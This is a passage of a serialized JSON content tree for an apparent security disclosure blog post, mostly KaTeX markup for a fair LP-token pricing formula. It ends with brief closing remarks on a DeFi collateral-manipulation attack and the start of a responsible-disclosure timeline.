{"className":2702},[332,333,334,335],[2704],{"type":22,"tag":264,"props":2705,"children":2707},{"className":2706},[289,2178,335],[2708],{"type":27,"value":69},{"type":22,"tag":264,"props":2710,"children":2712},{"className":2711},[396],[2713],{"type":27,"value":399},{"type":22,"tag":264,"props":2715,"children":2717},{"className":2716},[311],[2718],{"type":22,"tag":264,"props":2719,"children":2722},{"className":2720,"style":2721},[316],"height:0.15em;",[2723],{"type":22,"tag":264,"props":2724,"children":2725},{},[],{"type":22,"tag":264,"props":2727,"children":2729},{"className":2728,"style":665},[420],[],{"type":22,"tag":264,"props":2731,"children":2733},{"className":2732},[670],[2734],{"type":27,"value":867},{"type":22,"tag":264,"props":2736,"children":2738},{"className":2737,"style":665},[420],[],{"type":22,"tag":264,"props":2740,"children":2742},{"className":2741},[289],[2743,2752],{"type":22,"tag":264,"props":2744,"children":2746},{"className":2745},[289,27],[2747],{"type":22,"tag":264,"props":2748,"children":2750},{"className":2749},[289],[2751],{"type":27,"value":2674},{"type":22,"tag":264,"props":2753,"children":2755},{"className":2754},[2147],[2756],{"type":22,"tag":264,"props":2757,"children":2759},{"className":2758},[305,306],[2760,2790],{"type":22,"tag":264,"props":2761,"children":2763},{"className":2762},[311],[2764,2785],{"type":22,"tag":264,"props":2765,"children":2768},{"className":2766,"style":2767},[316],"height:0.3361em;",[2769],{"type":22,"tag":264,"props":2770,"children":2771},{"style":2694},[2772,2776],{"type":22,"tag":264,"props":2773,"children":2775},{"className":2774,"style":2169},[326],[],{"type":22,"tag":264,"props":2777,"children":2779},{"className":2778},[332,333,334,335],[2780],{"type":22,"tag":264,"props":2781,"children":2783},{"className":2782},[289,2178,335],[2784],{"type":27,"value":2181},{"type":22,"tag":264,"props":2786,"children":2788},{"className":2787},[396],[2789],{"type":27,"value":399},{"type":22,"tag":264,"props":2791,"children":2793},{"className":2792},[311],[2794],{"type":22,"tag":264,"props":2795,"children":2797},{"className":2796,"style":2721},[316],[2798],{"type":22,"tag":264,"props":2799,"children":2800},{},[],{"type":22,"tag":264,"props":2802,"children":2804},{"className":2803},[415],[2805],{"type":27,"value":2806},")",{"type":22,"tag":264,"props":2808,"children":2810},{"className":2809,"style":665},[420],[],{"type":22,"tag":264,"props":2812,"children":2814},{"className":2813},[670],[2815],{"type":27,"value":867},{"type":22,"tag":264,"props":2817,"children":2819},{"className":2818,"style":665},[420],[],{"type":22,"tag":264,"props":2821,"children":2823},{"className":2822},[294],[2824],{"type":27,"value":2660},{"type":22,"tag":264,"props":2826,"children":2828},{"className":2827},[289],[2829,2838],{"type":22,"tag":264,"props":2830,"children":2832},{"className":2831},[289,27],[2833],{"type":22,"tag":264,"props":2834,"children":2836},{"className":2835},[289],[2837],{"type":27,"value":23},{"type":22,"tag":264,"props":2839,"children":2841},{"className":2840},[2147],[2842],{"type":22,"tag":264,"props":2843,"children":2845},{"className":2844},[305,306],[2846,2875],{"type":22,"tag":264,"props":2847,"children":2849},{"className":2848},[311],[2850,2870],{"type":22,"tag":264,"props":2851,"children":2853},{"className":2852,"style":2318},[316],[2854],{"type":22,"tag":264,"props":2855,"children":2856},{"style":2164},[2857,2861],{"type":22,"tag":264,"props":2858,"children":2860},{"className":2859,"style":2169},[326],[],{"type":22,"tag":264,"props":2862,"children":2864},{"className":2863},[332,333,334,335],[2865],{"type":22,"tag":264,"props":2866,"children":2868},{"className":2867},[289,2178,335],[2869],{"type":27,"value":69},{"type":22,"tag":264,"props":2871,"children":2873},{"className":2872},[396],[2874],{"type":27,"value":399},{"type":22,"tag":264,"props":2876,"children":2878},{"className":2877},[311],[2879],{"type":22,"tag":264,"props":2880,"children":2882},{"className":2881,"style":2194},[316],[2883],{"type":22,"tag":264,"props":2884,"children":2885},{},[],{"type":22,"tag":264,"props":2887,"children":2889},{"className":2888},[289],[2890],{"type":27,"value":2891},"/",{"type":22,"tag":264,"props":2893,"children":2895},{"className":2894},[289],[2896,2905],{"type":22,"tag":264,"props":2897,"children":2899},{"className":2898},[289,27],[2900],{"type":22,"tag":264,"props":2901,"children":2903},{"className":2902},[289],[2904],{"type":27,"value":23},{"type":22,"tag":264,"props":2906,"children":2908},{"className":2907},[2147],[2909],{"type":22,"tag":264,"props":2910,"children":2912},{"className":2911},[305,306],[2913,2942],{"type":22,"tag":264,"props":2914,"children":2916},{"className":2915},[311],[2917,2937],{"type":22,"tag":264,"props":2918,"children":2920},{"className":2919,"style":2160},[316],[2921],{"type":22,"tag":264,"props":2922,"children":2923},{"style":2164},[2924,2928],{"type":22,"tag":264,"props":2925,"children":2927},{"className":2926,"style":2169},[326],[],{"type":22,"tag":264,"props":2929,"children":2931},{"className":2930},[332,333,334,335],[2932],{"type":22,"tag":264,"props":2933,"children":2935},{"className":2934},[289,2178,335],[2936],{"type":27,"value":2181},{"type":22,"tag":264,"props":2938,"children":2940},{"className":2939},[396],[2941],{"type":27,"value":399},{"type":22,"tag":264,"props":2943,"children":2945},{"className":2944},[311],[2946],{"type":22,"tag":264,"props":2947,"children":2949},{"className":2948,"style":2194},[316],[2950],{"type":22,"tag":264,"props":2951,"children":2952},{},[],{"type":22,"tag":264,"props":2954,"children":2956},{"style":2955},"top:-2.895em;",[2957,2961],{"type":22,"tag":264,"props":2958,"children":2960},{"className":2959,"style":2648},[326],[],{"type":22,"tag":264,"props":2962,"children":2966},{"className":2963,"style":2965},[2964],"hide-tail","min-width:1.02em;height:1.28em;",[2967],{"type":22,"tag":2968,"props":2969,"children":2975},"svg",{"xmlns":2970,"width":2971,"height":2972,"viewBox":2973,"preserveAspectRatio":2974},"http://www.w3.org/2000/svg","400em","1.28em","0 0 400000 1296","xMinYMin slice",[2976],{"type":22,"tag":2977,"props":2978,"children":2980},"path",{"d":2979},"M263,681c0.7,0,18,39.7,52,119\nc34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120\nc340,-704.7,510.7,-1060.3,512,-1067\nl0 -0\nc4.7,-7.3,11,-11,19,-11\nH40000v40H1012.3\ns-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232\nc-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1\ns-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26\nc-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60z\nM1001 80h400000v40h-400000z",[],{"type":22,"tag":264,"props":2982,"children":2984},{"className":2983},[396],[2985],{"type":27,"value":399},{"type":22,"tag":264,"props":2987,"children":2989},{"className":2988},[311],[2990],{"type":22,"tag":264,"props":2991,"children":2994},{"className":2992,"style":2993},[316],"height:0.305em;",[2995],{"type":22,"tag":264,"props":2996,"children":2997},{},[],{"type":22,"tag":264,"props":2999,"children":3001},{"className":3000},[415],[3002],{"type":27,"value":2806},{"type":22,"tag":264,"props":3004,"children":3006},{"className":3005,"style":665},[420],[],{"type":22,"tag":264,"props":3008,"children":3010},{"className":3009},[670],[3011],{"type":27,"value":673},{"type":22,"tag":264,"props":3013,"children":3015},{"className":3014,"style":665},[420],[],{"type":22,"tag":264,"props":3017,"children":3019},{"className":3018},[289],[3020,3029],{"type":22,"tag":264,"props":3021,"children":3023},{"className":3022},[289,27],[3024],{"type":22,"tag":264,"props":3025,"children":3027},{"className":3026},[289],[3028],{"type":27,"value":23},{"type":22,"tag":264,"props":3030,"children":3032},{"className":3031},[2147],[3033],{"type":22,"tag":264,"props":3034,"children":3036},{"className":3035},[305,306],[3037,3066],{"type":22,"tag":264,"props":3038,"children":3040},{"className":3039},[311],[3041,3061],{"type":22,"tag":264,"props":3042,"children":3044},{"className":3043,"style":2318},[316],[3045],{"type":22,"tag":264,"props":3046,"children":3047},{"style":2164},[3048,3052],{"type":22,"tag":264,"props":3049,"children":3051},{"className":3050,"style":2169},[326],[],{"type":22,"tag":264,"props":3053,"children":3055},{"className":3054},[332,333,334,335],[3056],{"type":22,"tag":264,"props":3057,"children":3059},{"className":3058},[289,2178,335],[3060],{"type":27,"value":69},{"type":22,"tag":264,"props":3062,"children":3064},{"className":3063},[396],[3065],{"type":27,"value":399},{"type":22,"tag":264,"props":3067,"children":3069},{"className":3068},[311],[3070],{"type":22,"tag":264,"props":3071,"children":3073},{"className":3072,"style":2194},[316],[3074],{"type":22,"tag":264,"props":3075,"children":3076},{},[],{"type":22,"tag":264,"props":3078,"children":3080},{"className":3079,"style":665},[420],[],{"type":22,"tag":264,"props":3082,"children":3084},{"className":3083},[670],[3085],{"type":27,"value":867},{"type":22,"tag":264,"props":3087,"children":3089},{"className":3088,"style":665},[420],[],{"type":22,"tag":264,"props":3091,"children":3093},{"className":3092},[289,2624],[3094],{"type":22,"tag":264,"props":3095,"children":3097},{"className":3096},[305,306],[3098,3435],{"type":22,"tag":264,"props":3099,"children":3101},{"className":3100},[311],[3102,3430],{"type":22,"tag":264,"props":3103,"children":3105},{"className":3104,"style":2637},[316],[3106,3413],{"type":22,"tag":264,"props":3107,"children":3109},{"className":3108,"style":2643},[2642],[3110,3114],{"type":22,"tag":264,"props":3111,"children":3113},{"className":3112,"style":2648},[326],[],{"type":22,"tag":264,"props":3115,"children":3117},{"className":3116,"style":2653},[289],[3118,3123,3184,3188,3193,3197,3258,3263,3267,3272,3276,3281,3342,3347,3408],{"type":22,"tag":264,"props":3119,"children":3121},{"className":3120},[294],[3122],{"type":27,"value":2660},{"type":22,"tag":264,"props":3124,"children":3126},{"className":3125},[289],[3127,3136],{"type":22,"tag":264,"props":3128,"children":3130},{"className":3129},[289,27],[3131],{"type":22,"tag":264,"props":3132,"children":3134},{"className":3133},[289],[3135],{"type":27,"value":2674},{"type":22,"tag":264,"props":3137,"children":3139},{"className":3138},[2147],[3140],{"type":22,"tag":264,"props":3141,"children":3143},{"className":3142},[305,306],[3144,3173],{"type":22,"tag":264,"props":3145,"children":3147},{"className":3146},[311],[3148,3168],{"type":22,"tag":264,"props":3149,"children":3151},{"className":3150,"style":2690},[316],[3152],{"type":22,"tag":264,"props":3153,"children":3154},{"style":2694},[3155,3159],{"type":22,"tag":264,"props":3156,"children":3158},{"className":3157,"style":2169},[326],[],{"type":22,"tag":264,"props":3160,"children":3162},{"className":3161},[332,333,334,335],[3163],{"type":22,"tag":264,"props":3164,"children":3166},{"className":3165},[289,2178,335],[3167],{"type":27,"value":69},{"type":22,"tag":264,"props":3169,"children":3171},{"className":3170},[396],[3172],{"type":27,"value":399},{"type":22,"tag":264,"props":3174,"children":3176},{"className":3175},[311],[3177],{"type":22,"tag":264,"props":3178,"children":3180},{"className":3179,"style":2721},[316],[3181],{"type":22,"tag":264,"props":3182,"children":3183},{},[],{"type":22,"tag":264,"props":3185,"children":3187},{"className":3186,"style":665},[420],[],{"type":22,"tag":264,"props":3189,"children":3191},{"className":3190},[670],[3192],{"type":27,"value":867},{"type":22,"tag":264,"props":3194,"children":3196},{"className":3195,"style":665},[420],[],{"type":22,"tag":264,"props":3198,"children":3200},{"className":3199},[289],[3201,3210],{"type":22,"tag":264,"props":3202,"children":3204},{"className":3203},[289,27],[3205],{"type":22,"tag":264,"props":3206,"children":3208},{"className":3207},[289],[3209],{"type":27,"value":2674},{"type":22,"tag":264,"props":3211,"children":3213},{"className":3212},[2147],[3214],{"type":22,"tag":264,"props":3215,"children":3217},{"className":3216},[305,306],[3218,3247],{"type":22,"tag":264,"props":3219,"children":3221},{"className":3220},[311],[3222,3242],{"type":22,"tag":264,"props":3223,"children":3225},{"className":3224,"style":2767},[316],[3226],{"type":22,"tag":264,"props":3227,"children":3228},{"style":2694},[3229,3233],{"type":22,"tag":264,"props":3230,"children":3232},{"className":3231,"style":2169},[326],[],{"type":22,"tag":264,"props":3234,"children":3236},{"className":3235},[332,333,334,335],[3237],{"type":22,"tag":264,"props":3238,"children":3240},{"className":3239},[289,2178,335],[3241],{"type":27,"value":2181},{"type":22,"tag":264,"props":3243,"children":3245},{"className":3244},[396],[3246],{"type":27,"value":399},{"type":22,"tag":264,"props":3248,"children":3250},{"className":3249},[311],[3251],{"type":22,"tag":264,"props":3252,"children":3254},{"className":3253,"style":2721},[316],[3255],{"type":22,"tag":264,"props":3256,"children":3257},{},[],{"type":22,"tag":264,"props":3259,"children":3261},{"className":3260},[415],[3262],{"type":27,"value":2806},{"type":22,"tag":264,"props":3264,"children":3266},{"className":3265,"style":665},[420],[],{"type":22,"tag":264,"props":3268,"children":3270},{"className":3269},[670],[3271],{"type":27,"value":867},{"type":22,"tag":264,"props":3273,"children":3275},{"className":3274,"style":665},[420],[],{"type":22,"tag":264,"props":3277,"children":3279},{"className":3278},[294],[3280],{"type":27,"value":2660},{"type":22,"tag":264,"props":3282,"children":3284},{"className":3283},[289],[3285,3294],{"type":22,"tag":264,"props":3286,"children":3288},{"className":3287},[289,27],[3289],{"type":22,"tag":264,"props":3290,"children":3292},{"className":3291},[289],[3293],{"type":27,"value":23},{"type":22,"tag":264,"props":3295,"children":3297},{"className":3296},[2147],[3298],{"type":22,"tag":264,"props":3299,"children":3301},{"className":3300},[305,306],[3302,3331],{"type":22,"tag":264,"props":3303,"children":3305},{"className":3304},[311],[3306,3326],{"type":22,"tag":264,"props":3307,"children":3309},{"className":3308,"style":2160},[316],[3310],{"type":22,"tag":264,"props":3311,"children":3312},{"style":2164},[3313,3317],{"type":22,"tag":264,"props":3314,"children":3316},{"className":3315,"style":2169},[326],[],{"type":22,"tag":264,"props":3318,"children":3320},{"className":3319},[332,333,334,335],[3321],{"type":22,"tag":264,"props":3322,"children":3324},{"className":3323},[289,2178,335],[3325],{"type":27,"value":2181},{"type":22,"tag":264,"props":3327,"children":3329},{"className":3328},[396],[3330],{"type":27,"value":399},{"type":22,"tag":264,"props":3332,"children":3334},{"className":3333},[311],[3335],{"type":22,"tag":264,"props":3336,"children":3338},{"className":3337,"style":2194},[316],[3339],{"type":22,"tag":264,"props":3340,"children":3341},{},[],{"type":22,"tag":264,"props":3343,"children":3345},{"className":3344},[289],[3346],{"type":27,"value":2891},{"type":22,"tag":264,"props":3348,"children":3350},{"className":3349},[289],[3351,3360],{"type":22,"tag":264,"props":3352,"children":3354},{"className":3353},[289,27],[3355],{"type":22,"tag":264,"props":3356,"children":3358},{"className":3357},[289],[3359],{"type":27,"value":23},{"type":22,"tag":264,"props":3361,"children":3363},{"className":3362},[2147],[3364],{"type":22,"tag":264,"props":3365,"children":3367},{"className":3366},[305,306],[3368,3397],{"type":22,"tag":264,"props":3369,"children":3371},{"className":3370},[311],[3372,3392],{"type":22,"tag":264,"props":3373,"children":3375},{"className":3374,"style":2318},[316],[3376],{"type":22,"tag":264,"props":3377,"children":3378},{"style":2164},[3379,3383],{"type":22,"tag":264,"props":3380,"children":3382},{"className":3381,"style":2169},[326],[],{"type":22,"tag":264,"props":3384,"children":3386},{"className":3385},[332,333,334,335],[3387],{"type":22,"tag":264,"props":3388,"children":3390},{"className":3389},[289,2178,335],[3391],{"type":27,"value":69},{"type":22,"tag":264,"props":3393,"children":3395},{"className":3394},[396],[3396],{"type":27,"value":399},{"type":22,"tag":264,"props":3398,"children":3400},{"className":3399},[311],[3401],{"type":22,"tag":264,"props":3402,"children":3404},{"className":3403,"style":2194},[316],[3405],{"type":22,"tag":264,"props":3406,"children":3407},{},[],{"type":22,"tag":264,"props":3409,"children":3411},{"className":3410},[415],[3412],{"type":27,"value":2806},{"type":22,"tag":264,"props":3414,"children":3415},{"style":2955},[3416,3420],{"type":22,"tag":264,"props":3417,"children":3419},{"className":3418,"style":2648},[326],[],{"type":22,"tag":264,"props":3421,"children":3423},{"className":3422,"style":2965},[2964],[3424],{"type":22,"tag":2968,"props":3425,"children":3426},{"xmlns":2970,"width":2971,"height":2972,"viewBox":2973,"preserveAspectRatio":2974},[3427],{"type":22,"tag":2977,"props":3428,"children":3429},{"d":2979},[],{"type":22,"tag":264,"props":3431,"children":3433},{"className":3432},[396],[3434],{"type":27,"value":399},{"type":22,"tag":264,"props":3436,"children":3438},{"className":3437},[311],[3439],{"type":22,"tag":264,"props":3440,"children":3442},{"className":3441,"style":2993},[316],[3443],{"type":22,"tag":264,"props":3444,"children":3445},{},[],{"type":22,"tag":264,"props":3447,"children":3449},{"className":3448},[396],[3450],{"type":27,"value":399},{"type":22,"tag":264,"props":3452,"children":3454},{"className":3453},[311],[3455],{"type":22,"tag":264,"props":3456,"children":3458},{"className":3457,"style":2439},[316],[3459],{"type":22,"tag":264,"props":3460,"children":3461},{},[],{"type":22,"tag":264,"props":3463,"children":3465},{"className":3464},[415,295],[],{"type":22,"tag":264,"props":3467,"children":3469},{"className":3468},[420,461],[],{"type":22,"tag":264,"props":3471,"children":3473},{"className":3472},[278],[3474,3478,3483],{"type":22,"tag":264,"props":3475,"children":3477},{"className":3476,"style":2459},[283],[],{"type":22,"tag":264,"props":3479,"children":3481},{"className":3480},[426],[3482],{"type":27,"value":429},{"type":22,"tag":264,"props":3484,"children":3486},{"className":3485,"style":421},[420],[],{"type":22,"tag":264,"props":3488,"children":3490},{"className":3489},[278],[3491,3496],{"type":22,"tag":264,"props":3492,"children":3495},{"className":3493,"style":3494},[283],"height:2.3279em;vertical-align:-0.8804em;",[],{"type":22,"tag":264,"props":3497,"children":3499},{"className":3498},[289],[3500,3504,3951],{"type":22,"tag":264,"props":3501,"children":3503},{"className":3502},[294,295],[],{"type":22,"tag":264,"props":3505,"children":3507},{"className":3506},[300],[3508],{"type":22,"tag":264,"props":3509,"children":3511},{"className":3510},[305,306],[3512,3940],{"type":22,"tag":264,"props":3513,"children":3515},{"className":3514},[311],[3516,3935],{"type":22,"tag":264,"props":3517,"children":3520},{"className":3518,"style":3519},[316],"height:1.4475em;",[3521,3541,3552],{"type":22,"tag":264,"props":3522,"children":3523},{"style":1030},[3524,3528],{"type":22,"tag":264,"props":3525,"children":3527},{"className":3526,"style":327},[326],[],{"type":22,"tag":264,"props":3529,"children":3531},{"className":3530},[289],[3532],{"type":22,"tag":264,"props":3533,"children":3535},{"className":3534},[289,27],[3536],{"type":22,"tag":264,"props":3537,"children":3539},{"className":3538},[289],[3540],{"type":27,"value":2107},{"type":22,"tag":264,"props":3542,"children":3543},{"style":349},[3544,3548],{"type":22,"tag":264,"props":3545,"children":3547},{"className":3546,"style":327},[326],[],{"type":22,"tag":264,"props":3549,"children":3551},{"className":3550,"style":359},[358],[],{"type":22,"tag":264,"props":3553,"children":3554},{"style":1058},[3555,3559],{"type":22,"tag":264,"props":3556,"children":3558},{"className":3557,"style":327},[326],[],{"type":22,"tag":264,"props":3560,"children":3562},{"className":3561},[289],[3563,3569,3573,3578,3582],{"type":22,"tag":264,"props":3564,"children":3566},{"className":3565},[289],[3567],{"type":27,"value":3568},"2",{"type":22,"tag":264,"props":3570,"children":3572},{"className":3571,"style":665},[420],[],{"type":22,"tag":264,"props":3574,"children":3576},{"className":3575},[670],[3577],{"type":27,"value":867},{"type":22,"tag":264,"props":3579,"children":3581},{"className":3580,"style":665},[420],[],{"type":22,"tag":264,"props":3583,"children":3585},{"className":3584},[289,2624],[3586],{"type":22,"tag":264,"props":3587,"children":3589},{"className":3588},[305,306],[3590,3923],{"type":22,"tag":264,"props":3591,"children":3593},{"className":3592},[311],[3594,3918],{"type":22,"tag":264,"props":3595,"children":3598},{"className":3596,"style":3597},[316],"height:0.7705em;",[3599,3896],{"type":22,"tag":264,"props":3600,"children":3603},{"className":3601,"style":3602},[2642],"top:-3em;",[3604,3608],{"type":22,"tag":264,"props":3605,"children":3607},{"className":3606,"style":327},[326],[],{"type":22,"tag":264,"props":3609,"children":3612},{"className":3610,"style":3611},[289],"padding-left:0.833em;",[3613,3674,3678,3683,3687,3748,3752,3757,3761,3822,3826,3831,3835],{"type":22,"tag":264,"props":3614,"children":3616},{"className":3615},[289],[3617,3626],{"type":22,"tag":264,"props":3618,"children":3620},{"className":3619},[289,27],[3621],{"type":22,"tag":264,"props":3622,"children":3624},{"className":3623},[289],[3625],{"type":27,"value":2674},{"type":22,"tag":264,"props":3627,"children":3629},{"className":3628},[2147],[3630],{"type":22,"tag":264,"props":3631,"children":3633},{"className":3632},[305,306],[3634,3663],{"type":22,"tag":264,"props":3635,"children":3637},{"className":3636},[311],[3638,3658],{"type":22,"tag":264,"props":3639,"children":3641},{"className":3640,"style":2690},[316],[3642],{"type":22,"tag":264,"props":3643,"children":3644},{"style":2694},[3645,3649],{"type":22,"tag":264,"props":3646,"children":3648},{"className":3647,"style":2169},[326],[],{"type":22,"tag":264,"props":3650,"children":3652},{"className":3651},[332,333,334,335],[3653],{"type":22,"tag":264,"props":3654,"children":3656},{"className":3655},[289,2178,335],[3657],{"type":27,"value":69},{"type":22,"tag":264,"props":3659,"children":3661},{"className":3660},[396],[3662],{"type":27,"value":399},{"type":22,"tag":264,"props":3664,"children":3666},{"className":3665},[311],[3667],{"type":22,"tag":264,"props":3668,"children":3670},{"className":3669,"style":2721},[316],[3671],{"type":22,"tag":264,"props":3672,"children":3673},{},[],{"type":22,"tag":264,"props":3675,"children":3677},{"className":3676,"style":665},[420],[],{"type":22,"tag":264,"props":3679,"children":3681},{"className":3680},[670],[3682],{"type":27,"value":867},{"type":22,"tag":264,"props":3684,"children":3686},{"className":3685,"style":665},[420],[],{"type":22,"tag":264,"props":3688,"children":3690},{"className":3689},[289],[3691,3700],{"type":22,"tag":264,"props":3692,"children":3694},{"className":3693},[289,27],[3695],{"type":22,"tag":264,"props":3696,"children":3698},{"className":3697},[289],[3699],{"type":27,"value":2674},{"type":22,"tag":264,"props":3701,"children":3703},{"className":3702},[2147],[3704],{"type":22,"tag":264,"props":3705,"children":3707},{"className":3706},[305,306],[3708,3737],{"type":22,"tag":264,"props":3709,"children":3711},{"className":3710},[311],[3712,3732],{"type":22,"tag":264,"props":3713,"children":3715},{"className":3714,"style":2767},[316],[3716],{"type":22,"tag":264,"props":3717,"children":3718},{"style":2694},[3719,3723],{"type":22,"tag":264,"props":3720,"children":3722},{"className":3721,"style":2169},[326],[],{"type":22,"tag":264,"props":3724,"children":3726},{"className":3725},[332,333,334,335],[3727],{"type":22,"tag":264,"props":3728,"children":3730},{"className":3729},[289,2178,335],[3731],{"type":27,"value":2181},{"type":22,"tag":264,"props":3733,"children":3735},{"className":3734},[396],[3736],{"type":27,"value":399},{"type":22,"tag":264,"props":3738,"children":3740},{"className":3739},[311],[3741],{"type":22,"tag":264,"props":3742,"children":3744},{"className":3743,"style":2721},[316],[3745],{"type":22,"tag":264,"props":3746,"children":3747},{},[],{"type":22,"tag":264,"props":3749,"children":3751},{"className":3750,"style":665},[420],[],{"type":22,"tag":264,"props":3753,"children":3755},{"className":3754},[670],[3756],{"type":27,"value":867},{"type":22,"tag":264,"props":3758,"children":3760},{"className":3759,"style":665},[420],[],{"type":22,"tag":264,"props":3762,"children":3764},{"className":3763},[289],[3765,3774],{"type":22,"tag":264,"props":3766,"children":3768},{"className":3767},[289,27],[3769],{"type":22,"tag":264,"props":3770,"children":3772},{"className":3771},[289],[3773],{"type":27,"value":23},{"type":22,"tag":264,"props":3775,"children":3777},{"className":3776},[2147],[3778],{"type":22,"tag":264,"props":3779,"children":3781},{"className":3780},[305,306],[3782,3811],{"type":22,"tag":264,"props":3783,"children":3785},{"className":3784},[311],[3786,3806],{"type":22,"tag":264,"props":3787,"children":3789},{"className":3788,"style":2318},[316],[3790],{"type":22,"tag":264,"props":3791,"children":3792},{"style":2164},[3793,3797],{"type":22,"tag":264,"props":3794,"children":3796},{"className":3795,"style":2169},[326],[],{"type":22,"tag":264,"props":3798,"children":3800},{"className":3799},[332,333,334,335],[3801],{"type":22,"tag":264,"props":3802,"children":3804},{"className":3803},[289,2178,335],[3805],{"type":27,"value":69},{"type":22,"tag":264,"props":3807,"children":3809},{"className":3808},[396],[3810],{"type":27,"value":399},{"type":22,"tag":264,"props":3812,"children":3814},{"className":3813},[311],[3815],{"type":22,"tag":264,"props":3816,"children":3818},{"className":3817,"style":2194},[316],[3819],{"type":22,"tag":264,"props":3820,"children":3821},{},[],{"type":22,"tag":264,"props":3823,"children":3825},{"className":3824,"style":665},[420],[],{"type":22,"tag":264,"props":3827,"children":3829},{"className":3828},[670],[3830],{"type":27,"value":867},{"type":22,"tag":264,"props":3832,"children":3834},{"className":3833,"style":665},[420],[],{"type":22,"tag":264,"props":3836,"children":3838},{"className":3837},[289],[3839,3848],{"type":22,"tag":264,"props":3840,"children":3842},{"className":3841},[289,27],[3843],{"type":22,"tag":264,"props":3844,"children":3846},{"className":3845},[289],[3847],{"type":27,"value":23},{"type":22,"tag":264,"props":3849,"children":3851},{"className":3850},[2147],[3852],{"type":22,"tag":264,"props":3853,"children":3855},{"className":3854},[305,306],[3856,3885],{"type":22,"tag":264,"props":3857,"children":3859},{"className":3858},[311],[3860,3880],{"type":22,"tag":264,"props":3861,"children":3863},{"className":3862,"style":2160},[316],[3864],{"type":22,"tag":264,"props":3865,"children":3866},{"style":2164},[3867,3871],{"type":22,"tag":264,"props":3868,"children":3870},{"className":3869,"style":2169},[326],[],{"type":22,"tag":264,"props":3872,"children":3874},{"className":3873},[332,333,334,335],[3875],{"type":22,"tag":264,"props":3876,"children":3878},{"className":3877},[289,2178,335],[3879],{"type":27,"value":2181},{"type":22,"tag":264,"props":3881,"children":3883},{"className":3882},[396],[3884],{"type":27,"value":399},{"type":22,"tag":264,"props":3886,"children":3888},{"className":3887},[311],[3889],{"type":22,"tag":264,"props":3890,"children":3892},{"className":3891,"style":2194},[316],[3893],{"type":22,"tag":264,"props":3894,"children":3895},{},[],{"type":22,"tag":264,"props":3897,"children":3899},{"style":3898},"top:-2.7305em;",[3900,3904],{"type":22,"tag":264,"props":3901,"children":3903},{"className":3902,"style":327},[326],[],{"type":22,"tag":264,"props":3905,"children":3908},{"className":3906,"style":3907},[2964],"min-width:0.853em;height:1.08em;",[3909],{"type":22,"tag":2968,"props":3910,"children":3913},{"xmlns":2970,"width":2971,"height":3911,"viewBox":3912,"preserveAspectRatio":2974},"1.08em","0 0 400000 1080",[3914],{"type":22,"tag":2977,"props":3915,"children":3917},{"d":3916},"M95,702\nc-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14\nc0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54\nc44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10\ns173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429\nc69,-144,104.5,-217.7,106.5,-221\nl0 -0\nc5.3,-9.3,12,-14,20,-14\nH400000v40H845.2724\ns-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7\nc-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z\nM834 80h400000v40h-400000z",[],{"type":22,"tag":264,"props":3919,"children":3921},{"className":3920},[396],[3922],{"type":27,"value":399},{"type":22,"tag":264,"props":3924,"children":3926},{"className":3925},[311],[3927],{"type":22,"tag":264,"props":3928,"children":3931},{"className":3929,"style":3930},[316],"height:0.2695em;",[3932],{"type":22,"tag":264,"props":3933,"children":3934},{},[],{"type":22,"tag":264,"props":3936,"children":3938},{"className":3937},[396],[3939],{"type":27,"value":399},{"type":22,"tag":264,"props":3941,"children":3943},{"className":3942},[311],[3944],{"type":22,"tag":264,"props":3945,"children":3947},{"className":3946,"style":2439},[316],[3948],{"type":22,"tag":264,"props":3949,"children":3950},{},[],{"type":22,"tag":264,"props":3952,"children":3954},{"className":3953},[415,295],[],{"type":22,"tag":264,"props":3956,"children":3958},{"className":3957},[420,461],[],{"type":22,"tag":23,"props":3960,"children":3961},{},[3962],{"type":27,"value":3963},"This concept also extends to stable curves but there is no closed form solution.",{"type":22,"tag":169,"props":3965,"children":3967},{"id":3966},"closing-thoughts",[3968],{"type":27,"value":3969},"Closing Thoughts",{"type":22,"tag":23,"props":3971,"children":3972},{},[3973],{"type":27,"value":3974},"While taken separately these components might seem innocuous, combined they allow for clever manipulation attacks. As with many security issues, a deep understanding of the underlying subsystem is required to discover potential inconsistencies.",{"type":22,"tag":23,"props":3976,"children":3977},{},[3978,3980,3987],{"type":27,"value":3979},"This attack has many similarities to the ",{"type":22,"tag":69,"props":3981,"children":3984},{"href":3982,"rel":3983},"https://rekt.news/warp-finance-rekt/",[73],[3985],{"type":27,"value":3986},"warp finance exploit",{"type":27,"value":3988}," on Ethereum which also took advantage of LP tokens as collateral. DeFi developers should keep track of exploits everywhere, even ones that don't occur on their chain.",{"type":22,"tag":23,"props":3990,"children":3991},{},[3992],{"type":27,"value":3993},"We would also like to thank the following teams for their fast triage and response.",{"type":22,"tag":35,"props":3995,"children":3996},{},[3997,4009],{"type":22,"tag":39,"props":3998,"children":3999},{},[4000],{"type":22,"tag":43,"props":4001,"children":4002},{},[4003,4006],{"type":22,"tag":47,"props":4004,"children":4005},{},[],{"type":22,"tag":47,"props":4007,"children":4008},{},[],{"type":22,"tag":58,"props":4010,"children":4011},{},[4012,4025,4037,4049,4061,4074,4087,4100,4112,4125],{"type":22,"tag":43,"props":4013,"children":4014},{},[4015,4020],{"type":22,"tag":65,"props":4016,"children":4017},{},[4018],{"type":27,"value":4019},"1/02",{"type":22,"tag":65,"props":4021,"children":4022},{},[4023],{"type":27,"value":4024},"Apricot is notified",{"type":22,"tag":43,"props":4026,"children":4027},{},[4028,4032],{"type":22,"tag":65,"props":4029,"children":4030},{},[4031],{"type":27,"value":4019},{"type":22,"tag":65,"props":4033,"children":4034},{},[4035],{"type":27,"value":4036},"Switchboard is 